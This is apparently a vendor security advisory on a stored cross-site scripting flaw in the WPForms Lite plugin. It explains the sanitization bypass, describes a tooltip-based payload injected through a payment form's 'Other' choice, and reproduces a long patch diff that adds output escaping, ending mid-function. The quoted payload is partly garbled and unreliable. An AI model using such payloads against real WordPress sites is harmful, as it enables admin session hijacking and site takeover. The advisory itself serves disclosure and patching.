Published : November 25, 2026

CVE-2026-126342: WPForms <= 2.0.4 Unauthenticated Stored Cross-Site Scripting via Multiple Choice 'Other' Option Value on Payment Forms PoC, Patch Analysis & Rule

Plugin wpforms-lite
Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 2.0.4
Patched Version 2.0.5.1
Disclosed November 25, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-126342: The WPForms plugin for WordPress (versions <= 2.0.4) contains an unauthenticated stored cross-site scripting (XSS) vulnerability in the Multiple Choice field's 'Other' option on payment forms. Attackers can inject arbitrary web scripts that execute when a privileged user views the affected payment entry. The vulnerability has a CVSS score of 7.2, indicating high severity.

The root cause involves insufficient input sanitization and output escaping. User input is sanitized via sanitize_text_field(), which preserves pseudo-tags like '‘ because strip_tags() ignores the ‘<' when followed by whitespace. These values are stored and later output through wp_kses() with the 'post' allowlist, which normalizes the pseudo-tag into a real HTML element. The bundled Tooltipster library (with contentAsHTML and contentCloning enabled) then renders the injected HTML, executing the script on page load. Affected code paths include the Multiple Choice field handling in class-base.php, class-checkbox.php, class-radio.php, class-select.php, and class-emails.php, though the patch diff does not directly show the specific 'Other' option handling.

Exploitation requires an attacker to submit a payment form with a Multiple Choice field containing an 'Other' option. The attacker sets the 'Other' value to a payload such as '< i class="wpforms-single-payment-tooltip" data-tooltip-content="“>x‘. Due to the sanitization bypass, this value persists in the database. When an administrator views the payment entry details page (WPForms > Payments), the tooltip library initializes and renders the attribute content as HTML, executing the onerror handler without any user interaction.

Patch analysis: The diff shows multiple security hardening changes. In class-radio.php, the get_other_choice_value() result is now escaped with esc_html() before being used in field_html_value(). In class-base.php, the get_field_html() method now escapes the choices value with esc_html(). Additionally, dynamic choice validation is tightened to only accept IDs that are rendered as choices. The email from address is validated using wpforms_is_email(). These changes prevent the injection by ensuring that the stored value is properly escaped on output and that only valid, rendered choices are accepted.

The impact of this vulnerability is significant. An unauthenticated attacker can inject persistent JavaScript that executes in the context of an administrator’s session when they view the payment entry. This could lead to session hijacking, privilege escalation (by creating new admin users), data theft, or full site compromise. The vulnerability requires user interaction (admin viewing the entry), but the payload executes automatically without further clicks.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wpforms-lite/includes/admin/admin.php
+++ b/wpforms-lite/includes/admin/admin.php
@@ -552,45 +552,6 @@
 add_action( 'admin_print_scripts', 'wpforms_admin_hide_unrelated_notices' );

 /**
- * Upgrade a link used within the various admin pages.
- *
- * Previously was only included as a method in wpforms-lite.php, but made
- * available globally in 1.3.9.
- *
- * @since 1.3.9
- *
- * @param string $medium  URL parameter: utm_medium.
- * @param string $content URL parameter: utm_content.
- *
- * @return string
- */
-function wpforms_admin_upgrade_link( $medium = 'link', $content = '' ) {
-
-	$url = 'https://wpforms.com/lite-upgrade/';
-
-	if ( wpforms()->is_pro() ) {
-		$license_key = wpforms_get_license_key();
-		$url         = add_query_arg(
-			'license_key',
-			sanitize_text_field( $license_key ),
-			'https://wpforms.com/pricing/'
-		);
-	}
-
-	// phpcs:ignore WPForms.Comments.PHPDocHooks.RequiredHookDocumentation
-	$upgrade = wpforms_utm_link( $url, apply_filters( 'wpforms_upgrade_link_medium', $medium ), $content );
-
-	/**
-	 * Modify upgrade link.
-	 *
-	 * @since 1.5.1
-	 *
-	 * @param string $upgrade Upgrade links.
-	 */
-	return apply_filters( 'wpforms_upgrade_link', $upgrade );
-}
-
-/**
  * Check the current PHP version and display a notice if on unsupported PHP.
  *
  * @since 1.4.0.1
@@ -648,133 +609,6 @@
 add_action( 'admin_init', 'wpforms_check_php_version' );

 /**
- * Get an upgrade modal text.
- *
- * @since 1.4.4
- *
- * @param string $type Either "pro" or "elite". Default is "pro".
- *
- * @return string
- * @noinspection HtmlUnknownTarget
- */
-function wpforms_get_upgrade_modal_text( $type = 'pro' ) {
-
-	switch ( $type ) {
-		case 'elite':
-			$level = 'WPForms Elite';
-			break;
-
-		case 'pro':
-		default:
-			$level = 'WPForms Pro';
-	}
-
-	if ( wpforms()->is_pro() ) {
-		return '<p>' .
-			sprintf(
-				wp_kses( /* translators: %s - WPForms.com contact page URL. */
-					__( 'Thank you for considering upgrading. If you have any questions, please <a href="%s" target="_blank" rel="noopener noreferrer">let us know</a>.', 'wpforms-lite' ),
-					[
-						'a' => [
-							'href'   => [],
-							'target' => [],
-							'rel'    => [],
-						],
-					]
-				),
-				esc_url(
-					wpforms_utm_link(
-						'https://wpforms.com/contact/',
-						'Upgrade Follow Up Modal',
-						'Contact Support'
-					)
-				)
-			) .
-			'</p>' .
-			'<p>' .
-			wp_kses(
-				__( 'After upgrading, your license key will remain the same.<br>You may need to do a quick refresh to unlock your new addons. In your WordPress admin, go to <strong>WPForms » Settings</strong>. If you don't see your updated plan, click <em>refresh</em>.', 'wpforms-lite' ),
-				[
-					'strong' => [],
-					'br'     => [],
-					'em'     => [],
-				]
-			) .
-			'</p>' .
-			'<p>' .
-			sprintf(
-				wp_kses( /* translators: %s - WPForms.com upgrade from Lite to paid docs page URL. */
-					__( 'Check out <a href="%s" target="_blank" rel="noopener noreferrer">our documentation</a> for step-by-step instructions.', 'wpforms-lite' ),
-					[
-						'a' => [
-							'href'   => [],
-							'target' => [],
-							'rel'    => [],
-						],
-					]
-				),
-				esc_url( wpforms_utm_link( 'https://wpforms.com/docs/upgrade-wpforms-license/', 'Upgrade License Doc', 'Upgrade Now' ) )
-			) .
-			'</p>';
-	}
-
-	return '<p>' .
-		sprintf(
-			wp_kses( /* translators: %s - WPForms.com contact page URL. */
-				__( 'If you have any questions or issues just <a href="%s" target="_blank" rel="noopener noreferrer">let us know</a>.', 'wpforms-lite' ),
-				[
-					'a' => [
-						'href'   => [],
-						'target' => [],
-						'rel'    => [],
-					],
-				]
-			),
-			esc_url(
-				wpforms_utm_link(
-					'https://wpforms.com/contact/',
-					'Upgrade Intention Alert',
-					'Upgrade Intention Alert'
-				)
-			)
-		) .
-		'</p>' .
-		'<p>' .
-		sprintf(
-			wp_kses( /* translators: %s - license level, WPForms Pro or WPForms Elite. */
-				__( 'After purchasing a license, just <strong>enter your license key on the WPForms Settings page</strong>. This will let your site automatically upgrade to %s! (Don't worry, all your forms and settings will be preserved.)', 'wpforms-lite' ),
-				[
-					'strong' => [],
-					'br'     => [],
-				]
-			),
-			$level
-		) .
-		'</p>' .
-		'<p>' .
-		sprintf(
-			wp_kses( /* translators: %s - WPForms.com upgrade from Lite to paid docs page URL. */
-				__( 'Check out <a href="%s" target="_blank" rel="noopener noreferrer">our documentation</a> for step-by-step instructions.', 'wpforms-lite' ),
-				[
-					'a' => [
-						'href'   => [],
-						'target' => [],
-						'rel'    => [],
-					],
-				]
-			),
-			esc_url(
-				wpforms_utm_link(
-					'https://wpforms.com/docs/upgrade-wpforms-lite-paid-license/',
-					'Upgrade Intention Alert',
-					'Upgrade Documentation'
-				)
-			)
-		) .
-		'</p>';
-}
-
-/**
  * Hide the wp-admin area "Version x.x" in footer on WPForms pages.
  *
  * @since 1.5.7
--- a/wpforms-lite/includes/admin/builder/class-builder.php
+++ b/wpforms-lite/includes/admin/builder/class-builder.php
@@ -1230,7 +1230,6 @@
 			'UndoRedoInputCodeMirror'           => "undo-redo/input-codemirror$min.js",
 			'UndoRedoInputTinyMCE'              => "undo-redo/input-tinymce$min.js",
 			'UndoRedoChoicesList'               => "undo-redo/choices-list$min.js",
-			'UndoRedoFormThemes'                => "undo-redo/form-themes$min.js",
 			'UndoRedoDateTimePickers'           => "undo-redo/date-time-pickers$min.js",
 			'UndoRedoActionFieldAdd'            => "undo-redo/action-field-add$min.js",
 			'UndoRedoActionFieldDelete'         => "undo-redo/action-field-delete$min.js",
--- a/wpforms-lite/includes/admin/class-about.php
+++ b/wpforms-lite/includes/admin/class-about.php
@@ -1304,15 +1304,15 @@
 				'lite'     => [
 					'status' => 'partial',
 					'text'   => [
-						'<strong>' . esc_html__( 'Limited Marketing Integration', 'wpforms-lite' ) . '</strong>',
-						esc_html__( 'Constant Contact only', 'wpforms-lite' ),
+						'<strong>' . esc_html__( 'Limited Marketing Integrations', 'wpforms-lite' ) . '</strong>',
+						esc_html__( 'Constant Contact and Drip only', 'wpforms-lite' ),
 					],
 				],
 				'basic'    => [
 					'status' => 'partial',
 					'text'   => [
-						'<strong>' . esc_html__( 'Limited Marketing Integration', 'wpforms-lite' ) . '</strong>',
-						esc_html__( 'Constant Contact only', 'wpforms-lite' ),
+						'<strong>' . esc_html__( 'Limited Marketing Integrations', 'wpforms-lite' ) . '</strong>',
+						esc_html__( 'Constant Contact and Drip only', 'wpforms-lite' ),
 					],
 				],
 				'plus'     => [
--- a/wpforms-lite/includes/class-form.php
+++ b/wpforms-lite/includes/class-form.php
@@ -1400,6 +1400,97 @@
 	}

 	/**
+	 * Update top-level settings of a form without re-saving the whole form.
+	 *
+	 * Unlike `update()`, nothing else in the form is normalized or re-sanitized.
+	 *
+	 * @since 2.0.5
+	 *
+	 * @param string|int $form_id  Form ID.
+	 * @param array      $settings Settings key => value to write.
+	 * @param array      $args     Additional arguments: `cap`, `skip_revision`.
+	 *
+	 * @return false|int|WP_Error
+	 */
+	public function update_settings( $form_id, array $settings, array $args = [] ) { // phpcs:ignore WPForms.PHP.HooksMethod.InvalidPlaceForAddingHooks
+
+		if ( empty( $form_id ) || empty( $settings ) ) {
+			return false;
+		}
+
+		$this->remove_form_content_filters();
+
+		if ( ! isset( $args['cap'] ) ) {
+			$args['cap'] = 'edit_form_single';
+		}
+
+		$form = $this->get_single( absint( $form_id ), $args );
+
+		if ( empty( $form ) ) {
+			return false;
+		}
+
+		$data = wpforms_decode( $form->post_content );
+
+		// wpforms_decode() falls back to false or an empty array on bad JSON;
+		// writing settings onto either would leave the form holding only settings.
+		if ( ! is_array( $data ) || empty( $data ) ) {
+			return false;
+		}
+
+		foreach ( $settings as $key => $value ) {
+			$data['settings'][ wpforms_sanitize_key( $key ) ] = $value;
+		}
+
+		$form = [
+			'ID'           => $form_id,
+			'post_content' => wpforms_encode( $data ),
+		];
+
+		/**
+		 * Filter the form before its settings are updated.
+		 *
+		 * @since 2.0.5
+		 *
+		 * @param array $form Form post data.
+		 * @param array $data Form data.
+		 */
+		$form = (array) apply_filters( 'wpforms_form_handler_update_settings_args', $form, $data );
+
+		if ( ! empty( $args['skip_revision'] ) ) {
+			remove_action( 'post_updated', 'wp_save_post_revision' );
+		}
+
+		try {
+			$result = wp_update_post( $form, true );
+		} finally {
+			if ( ! empty( $args['skip_revision'] ) ) {
+				add_action( 'post_updated', 'wp_save_post_revision' );
+			}
+		}
+
+		if ( is_wp_error( $result ) ) {
+			return $result;
+		}
+
+		if ( ! $result ) {
+			return false;
+		}
+
+		/**
+		 * Fires after form settings are updated.
+		 *
+		 * @since 2.0.5
+		 *
+		 * @param int   $form_id  Form ID.
+		 * @param array $settings Settings written.
+		 */
+		do_action( 'wpforms_form_handler_update_settings_after', (int) $form_id, $settings );
+
+		return (int) $form_id;
+	}
+
+	/**
 	 * Delete form meta information from a form.
 	 *
 	 * @since 1.4.0
--- a/wpforms-lite/includes/class-widget.php
+++ b/wpforms-lite/includes/class-widget.php
@@ -85,7 +85,16 @@
 		}

 		if ( ! empty( $instance['form_id'] ) ) {
-			wpforms()->obj( 'frontend' )->output( absint( $instance['form_id'] ), (bool) $instance['show_title'], (bool) $instance['show_desc'] );
+			$form_id   = absint( $instance['form_id'] );
+			$widget_id = sanitize_key( $args['widget_id'] ?? (string) $form_id );
+
+			// Scoped to the widget, so other embeds of this form keep their styles; an embed override still wins.
+			wpforms()->obj( 'css_vars' )->output_css_vars_for_shortcode(
+				[ 'id' => $form_id ],
+				".{$this->widget_options['classname']} #wpforms-{$form_id}",
+				"wpforms-css-vars-widget-{$widget_id}"
+			);
+			wpforms()->obj( 'frontend' )->output( $form_id, (bool) $instance['show_title'], (bool) $instance['show_desc'] );
 		}

 		// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
--- a/wpforms-lite/includes/deprecated.php
+++ b/wpforms-lite/includes/deprecated.php
@@ -19,12 +19,19 @@
 		 * @since 1.8.0
 		 */
 		const CLASSES = [
-			'WPFormsProAdminEntriesDefaultScreen'  => '1.8.2',
-			'WPFormsProIntegrationsAIAI'           => '1.9.4',
-			'WPFormsProIntegrationsAIHelpers'      => '1.9.4',
-			'WPForms_Install_Skin'                     => '1.9.5',
-			'WPForms_Install_Silent_Skin'              => '1.5.6.1',
-			'WPFormsHelpersPluginSilentUpgraderSkin' => '1.9.5',
+			'WPFormsProAdminEntriesDefaultScreen'               => '1.8.2',
+			'WPFormsProIntegrationsAIAI'                        => '1.9.4',
+			'WPFormsProIntegrationsAIHelpers'                   => '1.9.4',
+			'WPForms_Install_Skin'                                  => '1.9.5',
+			'WPForms_Install_Silent_Skin'                           => '1.5.6.1',
+			'WPFormsHelpersPluginSilentUpgraderSkin'              => '1.9.5',
+			'WPFormsIntegrationsElementorRestApi'                => '2.0.5',
+			'WPFormsIntegrationsElementorThemesData'             => '2.0.5',
+			'WPFormsIntegrationsElementorControlsWPFormsThemes' => '2.0.5',
+			'WPFormsLiteIntegrationsElementorThemesData'        => '2.0.5',
+			'WPFormsProIntegrationsElementorRestApi'            => '2.0.5',
+			'WPFormsProIntegrationsElementorStockPhotos'        => '2.0.5',
+			'WPFormsProIntegrationsElementorThemesData'         => '2.0.5',
 		];

 		/**
@@ -423,3 +430,78 @@
 	 */
 	class DefaultScreen extends WPFormsRemoved {}
 }
+
+namespace WPFormsIntegrationsElementor {
+
+	/**
+	 * Rest API for the Elementor Modern widget.
+	 * Its routes are served by "WPFormsIntegrationsElementorLegacyThemesRoutes".
+	 *
+	 * @since 1.9.6
+	 * @deprecated 2.0.5
+	 */
+	class RestApi extends WPFormsRemoved {}
+
+	/**
+	 * Themes data for the Elementor Modern widget.
+	 * Replaced with "WPFormsIntegrationsGutenbergThemesData", which holds the widget's themes now.
+	 *
+	 * @since 1.9.6
+	 * @deprecated 2.0.5
+	 */
+	class ThemesData extends WPFormsRemoved {}
+}
+
+namespace WPFormsIntegrationsElementorControls {
+
+	/**
+	 * Themes control of the Elementor editor.
+	 * Replaced with the front-end themes editor, opened from the widget's Form Theme section.
+	 *
+	 * @since 1.9.6
+	 * @deprecated 2.0.5
+	 */
+	class WPFormsThemes extends WPFormsRemoved {}
+}
+
+namespace WPFormsLiteIntegrationsElementor {
+
+	/**
+	 * Themes data for the Elementor widget in Lite.
+	 * Replaced with "WPFormsLiteIntegrationsGutenbergThemesData".
+	 *
+	 * @since 1.9.6
+	 * @deprecated 2.0.5
+	 */
+	class ThemesData extends WPFormsRemoved {}
+}
+
+namespace WPFormsProIntegrationsElementor {
+
+	/**
+	 * Rest API for the Elementor widget in Pro.
+	 * Its routes are served by "WPFormsIntegrationsElementorLegacyThemesRoutes" and "WPFormsProIntegrationsGutenbergRestApi".
+	 *
+	 * @since 1.9.6
+	 * @deprecated 2.0.5
+	 */
+	class RestApi extends WPFormsRemoved {}
+
+	/**
+	 * Stock photos for the Elementor widget in Pro.
+	 * Replaced with "WPFormsProIntegrationsGutenbergStockPhotos".
+	 *
+	 * @since 1.9.6
+	 * @deprecated 2.0.5
+	 */
+	class StockPhotos extends WPFormsRemoved {}
+
+	/**
+	 * Themes data for the Elementor widget in Pro.
+	 * Replaced with "WPFormsProIntegrationsGutenbergThemesData".
+	 *
+	 * @since 1.9.6
+	 * @deprecated 2.0.5
+	 */
+	class ThemesData extends WPFormsRemoved {}
+}
--- a/wpforms-lite/includes/emails/class-emails.php
+++ b/wpforms-lite/includes/emails/class-emails.php
@@ -197,14 +197,18 @@
 	 * Get the email from address.
 	 *
 	 * @since 1.1.3
+	 * @since 2.0.5 Smart tags are processed in the `notification-from` context, so an invalid resolved address falls back to the admin email.
 	 *
 	 * @return string The email from address.
 	 */
 	public function get_from_address() {

 		if ( ! empty( $this->from_address ) ) {
-			$this->from_address = $this->process_tag( $this->from_address );
-		} else {
+			$this->from_address = $this->process_tag( $this->from_address, 'notification-from' );
+		}
+
+		// A From header needs a valid address, and the `notification-from` context blanks each invalid smart tag on its own, so literal text around it can remain.
+		if ( ! wpforms_is_email( $this->from_address, false ) ) {
 			$this->from_address = get_option( 'admin_email' );
 		}

@@ -613,14 +617,16 @@
 	 *
 	 * @since 1.1.3
 	 * @since 1.6.0 Deprecated 2 params: $sanitize, $linebreaks.
+	 * @since 2.0.5 Added the `$context` parameter.
 	 *
 	 * @param string $content String that may contain tags.
+	 * @param string $context Smart tag processing context.
 	 *
 	 * @return string|mixed
 	 */
-	public function process_tag( $content = '' ) {
+	public function process_tag( $content = '', $context = 'email' ) {

-		return wpforms_process_smart_tags( $content, $this->form_data, $this->fields, $this->entry_id, 'email', $this->context_data );
+		return wpforms_process_smart_tags( $content, $this->form_data, $this->fields, $this->entry_id, $context, $this->context_data );
 	}

 	/**
@@ -714,7 +720,7 @@

 					if (
 						! apply_filters( 'wpforms_email_display_empty_fields', false ) &&
-						( ! isset( $this->fields[ $field_id ]['value'] ) || (string) $this->fields[ $field_id ]['value'] === '' )
+						( ! isset( $this->fields[ $field_id ]['value'] ) || (string) $this->fields[ $field_id ]['value'] === '' || wpforms_payment_is_zero_quantity( $this->fields[ $field_id ] ) )
 					) {
 						/** This filter is documented in wpforms/includes/emails/class-emails.php */
 						$message .= apply_filters( 'wpforms_wp_emails_html_field_value_message_html', '' , $field, $this->form_data );
@@ -813,7 +819,7 @@

 				if (
 					! apply_filters( 'wpforms_email_display_empty_fields', false ) &&
-					( ! isset( $field['value'] ) || (string) $field['value'] === '' )
+					( ! isset( $field['value'] ) || (string) $field['value'] === '' || wpforms_payment_is_zero_quantity( $field ) )
 				) {
 					continue;
 				}
--- a/wpforms-lite/includes/fields/class-base.php
+++ b/wpforms-lite/includes/fields/class-base.php
@@ -160,6 +160,15 @@
 	protected $frontend_obj;

 	/**
+	 * Rendered dynamic choice IDs keyed by form, field and dynamic source, then by choice ID.
+	 *
+	 * @since 2.0.5
+	 *
+	 * @var array
+	 */
+	private $dynamic_choice_ids = [];
+
+	/**
 	 * Primary class constructor.
 	 *
 	 * @since 1.0.0
@@ -3980,15 +3989,17 @@
 	 */
 	private function get_field_html( array $field, string $value, array $form_data ): string {

+		// The choices value is rebuilt from raw stored data, so it must be escaped before it is wrapped in markup.
+		// It is escaped, not stripped, so text such as `<3` survives.
 		if ( ! empty( $field['image'] ) ) {
-			$value = $this->get_choices_value( $field, $form_data );
+			$value = esc_html( $this->get_choices_value( $field, $form_data ) );

 			return $this->get_field_html_image( $field['image'], $value );
 		}

 		if ( ! empty( $field['images'] ) ) {
 			$items  = [];
-			$value  = $this->get_choices_value( $field, $form_data );
+			$value  = esc_html( $this->get_choices_value( $field, $form_data ) );
 			$values = explode( "n", $value );

 			foreach ( $values as $key => $choice_label ) {
@@ -4355,10 +4366,109 @@
 			return false;
 		}

-		$form_id = absint( $form_data['id'] );
-		$dynamic = wpforms_get_field_dynamic_choices( $field, $form_id, $form_data );
+		return empty( $this->get_dynamic_choice_ids( (array) $field, (array) $form_data ) );
+	}
+
+	/**
+	 * Get the IDs of the dynamic choices the field renders, as array keys.
+	 *
+	 * Validation and formatting read this list so they accept exactly what the visitor was shown.
+	 *
+	 * @since 2.0.5
+	 *
+	 * @param array $field     Field settings.
+	 * @param array $form_data Form data and settings.
+	 *
+	 * @return array
+	 */
+	protected function get_dynamic_choice_ids( array $field, array $form_data ): array {
+
+		$current_form_id = absint( $form_data['id'] ?? 0 );
+		$cache_key       = implode(
+			':',
+			[
+				$current_form_id,
+				$field['id'] ?? '',
+				$field['dynamic_choices'] ?? '',
+				$field['dynamic_post_type'] ?? '',
+				$field['dynamic_taxonomy'] ?? '',
+			]
+		);
+
+		if ( isset( $this->dynamic_choice_ids[ $cache_key ] ) ) {
+			return $this->dynamic_choice_ids[ $cache_key ];
+		}
+
+		$choices = wpforms_get_field_dynamic_choices( $field, $current_form_id, $form_data );
+		$ids     = [];
+
+		// The helper returns false, not an empty array, when the dynamic source is unset.
+		foreach ( is_array( $choices ) ? $choices : [] as $choice ) {
+			$ids[ (int) $choice['value'] ] = true;
+		}
+
+		$this->dynamic_choice_ids[ $cache_key ] = $ids;
+
+		return $ids;
+	}
+
+	/**
+	 * Get the post titles or term names of the submitted IDs that are among the rendered choices, in submission order.
+	 *
+	 * An empty submission returns early, so no choice list is built for it.
+	 *
+	 * @since 2.0.5
+	 *
+	 * @param array $ids       Submitted choice IDs.
+	 * @param array $field     Field settings.
+	 * @param array $form_data Form data and settings.
+	 *
+	 * @return array
+	 */
+	protected function get_submitted_dynamic_choice_labels( array $ids, array $field, array $form_data ): array {
+
+		$ids = array_filter( array_map( 'intval', $ids ) );
+
+		if ( empty( $ids ) ) {
+			return [];
+		}
+
+		$rendered  = $this->get_dynamic_choice_ids( $field, $form_data );
+		$submitted = [];
+
+		foreach ( $ids as $id ) {
+			$label = isset( $rendered[ $id ] ) ? $this->get_dynamic_choice_label( $id, $field ) : null;
+
+			if ( $label !== null ) {
+				$submitted[] = $label;
+			}
+		}
+
+		return $submitted;
+	}
+
+	/**
+	 * Get the plain post title or term name of a rendered dynamic choice.
+	 *
+	 * @since 2.0.5
+	 *
+	 * @param int   $id    Post or term ID.
+	 * @param array $field Field settings.
+	 *
+	 * @return string|null
+	 */
+	private function get_dynamic_choice_label( int $id, array $field ) {

-		return empty( $dynamic );
+		if ( ( $field['dynamic_choices'] ?? '' ) === 'taxonomy' ) {
+			$term = get_term( $id, $field['dynamic_taxonomy'] ?? '' );
+
+			return $term instanceof WP_Term ? wpforms_get_term_name( $term ) : null;
+		}
+
+		// Rendered labels carry the hierarchy padding, so read the plain title.
+		$post = get_post( $id );
+
+		return $post instanceof WP_Post ? wpforms_get_post_title( $post ) : null;
 	}

 	/**
@@ -4771,8 +4881,8 @@
 	/**
 	 * Validate a dynamic post-type choice submission.
 	 *
-	 * Each submitted ID must cast to a positive integer AND map to a post of the
-	 * field's configured `dynamic_post_type`.
+	 * Each submitted ID must cast to a positive integer AND be one of the posts
+	 * the field renders as choices.
 	 *
 	 * @since 1.10.0.5
 	 *
@@ -4791,16 +4901,16 @@
 			return;
 		}

+		$rendered = $this->get_dynamic_choice_ids( $field, $form_data );
+
 		$this->validate_dynamic_id_submission(
 			$field_id,
 			$field_submit,
 			$field,
 			$form_data,
-			static function ( $id ) use ( $post_type ) {
-
-				$post = get_post( $id );
+			static function ( $id ) use ( $rendered ) {

-				return ! empty( $post ) && ! is_wp_error( $post ) && $post->post_type === $post_type;
+				return isset( $rendered[ (int) $id ] );
 			}
 		);
 	}
@@ -4808,8 +4918,8 @@
 	/**
 	 * Validate a dynamic taxonomy choice submission.
 	 *
-	 * Each submitted ID must cast to a positive integer AND map to a term in the
-	 * field's configured `dynamic_taxonomy`.
+	 * Each submitted ID must cast to a positive integer AND be one of the terms
+	 * the field renders as choices.
 	 *
 	 * @since 1.10.0.5
 	 *
@@ -4828,16 +4938,16 @@
 			return;
 		}

+		$rendered = $this->get_dynamic_choice_ids( $field, $form_data );
+
 		$this->validate_dynamic_id_submission(
 			$field_id,
 			$field_submit,
 			$field,
 			$form_data,
-			static function ( $id ) use ( $taxonomy ) {
-
-				$term = get_term( $id, $taxonomy );
+			static function ( $id ) use ( $rendered ) {

-				return ! empty( $term ) && ! is_wp_error( $term );
+				return isset( $rendered[ (int) $id ] );
 			}
 		);
 	}
--- a/wpforms-lite/includes/fields/class-checkbox.php
+++ b/wpforms-lite/includes/fields/class-checkbox.php
@@ -1070,15 +1070,7 @@
 			$data['dynamic']           = 'post_type';
 			$data['dynamic_items']     = $value_raw;
 			$data['dynamic_post_type'] = $field['dynamic_post_type'];
-			$posts                     = [];
-
-			foreach ( $field_submit as $id ) {
-				$post = get_post( $id );
-
-				if ( ! is_wp_error( $post ) && ! empty( $post ) && $data['dynamic_post_type'] === $post->post_type ) {
-					$posts[] = esc_html( wpforms_get_post_title( $post ) );
-				}
-			}
+			$posts                     = array_map( 'esc_html', $this->get_submitted_dynamic_choice_labels( $field_submit, $field, $form_data ) );

 			$data['value'] = ! empty( $posts ) ? wpforms_sanitize_array_combine( $posts ) : '';

@@ -1091,15 +1083,7 @@
 			$data['dynamic']          = 'taxonomy';
 			$data['dynamic_items']    = $value_raw;
 			$data['dynamic_taxonomy'] = $field['dynamic_taxonomy'];
-			$terms                    = [];
-
-			foreach ( $field_submit as $id ) {
-				$term = get_term( $id, $field['dynamic_taxonomy'] );
-
-				if ( ! is_wp_error( $term ) && ! empty( $term ) ) {
-					$terms[] = esc_html( wpforms_get_term_name( $term ) );
-				}
-			}
+			$terms                    = array_map( 'esc_html', $this->get_submitted_dynamic_choice_labels( $field_submit, $field, $form_data ) );

 			$data['value'] = ! empty( $terms ) ? wpforms_sanitize_array_combine( $terms ) : '';

--- a/wpforms-lite/includes/fields/class-radio.php
+++ b/wpforms-lite/includes/fields/class-radio.php
@@ -696,10 +696,10 @@
 			$data['dynamic']           = 'post_type';
 			$data['dynamic_items']     = absint( $value_raw );
 			$data['dynamic_post_type'] = $field['dynamic_post_type'];
-			$post                      = get_post( $value_raw );
+			$labels                    = $this->get_submitted_dynamic_choice_labels( [ $data['dynamic_items'] ], $field, $form_data );

-			if ( ! empty( $post ) && ! is_wp_error( $post ) && $data['dynamic_post_type'] === $post->post_type ) {
-				$data['value'] = esc_html( wpforms_get_post_title( $post ) );
+			if ( ! empty( $labels ) ) {
+				$data['value'] = esc_html( $labels[0] );
 			}
 		} elseif ( 'taxonomy' === $dynamic && ! empty( $field['dynamic_taxonomy'] ) ) {

@@ -707,10 +707,10 @@
 			$data['dynamic']          = 'taxonomy';
 			$data['dynamic_items']    = absint( $value_raw );
 			$data['dynamic_taxonomy'] = $field['dynamic_taxonomy'];
-			$term                     = get_term( $value_raw, $data['dynamic_taxonomy'] );
+			$labels                   = $this->get_submitted_dynamic_choice_labels( [ $data['dynamic_items'] ], $field, $form_data );

-			if ( ! empty( $term ) && ! is_wp_error( $term ) ) {
-				$data['value'] = esc_html( wpforms_get_term_name( $term ) );
+			if ( ! empty( $labels ) ) {
+				$data['value'] = esc_html( $labels[0] );
 			}
 		} else {

@@ -840,6 +840,13 @@
 		}

 		$other_value = $this->get_other_choice_value( $field );
+
+		// The Other text is rebuilt from the raw stored value, so it must be escaped like the caller's $value.
+		// esc_html() keeps existing entities: sanitize_text_field() already stores the text after a bare `<` encoded.
+		if ( $other_value !== null ) {
+			$other_value = esc_html( $other_value );
+		}
+
 		$field_value = $other_value ?? $value ?? '';

 		return parent::field_html_value(
--- a/wpforms-lite/includes/fields/class-select.php
+++ b/wpforms-lite/includes/fields/class-select.php
@@ -591,15 +591,7 @@
 			$data['dynamic']           = 'post_type';
 			$data['dynamic_items']     = $value_raw;
 			$data['dynamic_post_type'] = $field['dynamic_post_type'];
-			$posts                     = [];
-
-			foreach ( $field_submit as $id ) {
-				$post = get_post( $id );
-
-				if ( ! empty( $post ) && ! is_wp_error( $post ) && $data['dynamic_post_type'] === $post->post_type ) {
-					$posts[] = esc_html( wpforms_get_post_title( $post ) );
-				}
-			}
+			$posts                     = array_map( 'esc_html', $this->get_submitted_dynamic_choice_labels( $field_submit, $field, $form_data ) );

 			$data['value'] = ! empty( $posts ) ? wpforms_sanitize_array_combine( $posts ) : '';

@@ -611,15 +603,7 @@
 			$data['dynamic']          = 'taxonomy';
 			$data['dynamic_items']    = $value_raw;
 			$data['dynamic_taxonomy'] = $field['dynamic_taxonomy'];
-			$terms                    = [];
-
-			foreach ( $field_submit as $id ) {
-				$term = get_term( $id, $field['dynamic_taxonomy'] );
-
-				if ( ! empty( $term ) && ! is_wp_error( $term ) ) {
-					$terms[] = esc_html( wpforms_get_term_name( $term ) );
-				}
-			}
+			$terms                    = array_map( 'esc_html', $this->get_submitted_dynamic_choice_labels( $field_submit, $field, $form_data ) );

 			$data['value'] = ! empty( $terms ) ? wpforms_sanitize_array_combine( $terms ) : '';

--- a/wpforms-lite/includes/functions/checks.php
+++ b/wpforms-lite/includes/functions/checks.php
@@ -555,11 +555,16 @@
  * Checks if the current screen is using the block editor.
  *
  * @since 1.8.8
+ * @since 2.0.5 Returns false on the front end, where WordPress does not load the screen API.
  *
  * @return bool True if the current screen is using the block editor, false otherwise.
  */
 function wpforms_is_block_editor(): bool {

+	if ( ! function_exists( 'get_current_screen' ) ) {
+		return false;
+	}
+
 	$screen = get_current_screen();

 	return $screen && method_exists( $screen, 'is_block_editor' ) && $screen->is_block_editor();
--- a/wpforms-lite/includes/functions/education.php
+++ b/wpforms-lite/includes/functions/education.php
@@ -94,3 +94,171 @@
 	</a>
 	<?php
 }
+
+/**
+ * Upgrade a link used within the various admin pages.
+ *
+ * Previously was only included as a method in wpforms-lite.php, but made
+ * available globally in 1.3.9.
+ *
+ * @since 1.3.9
+ * @since 2.0.5 Moved from `includes/admin/admin.php`, so the front-end themes editor can use it.
+ *
+ * @param string $medium  URL parameter: utm_medium.
+ * @param string $content URL parameter: utm_content.
+ *
+ * @return string
+ */
+function wpforms_admin_upgrade_link( $medium = 'link', $content = '' ) {
+
+	$url = 'https://wpforms.com/lite-upgrade/';
+
+	if ( wpforms()->is_pro() ) {
+		$license_key = wpforms_get_license_key();
+		$url         = add_query_arg(
+			'license_key',
+			sanitize_text_field( $license_key ),
+			'https://wpforms.com/pricing/'
+		);
+	}
+
+	// phpcs:ignore WPForms.Comments.PHPDocHooks.RequiredHookDocumentation
+	$upgrade = wpforms_utm_link( $url, apply_filters( 'wpforms_upgrade_link_medium', $medium ), $content );
+
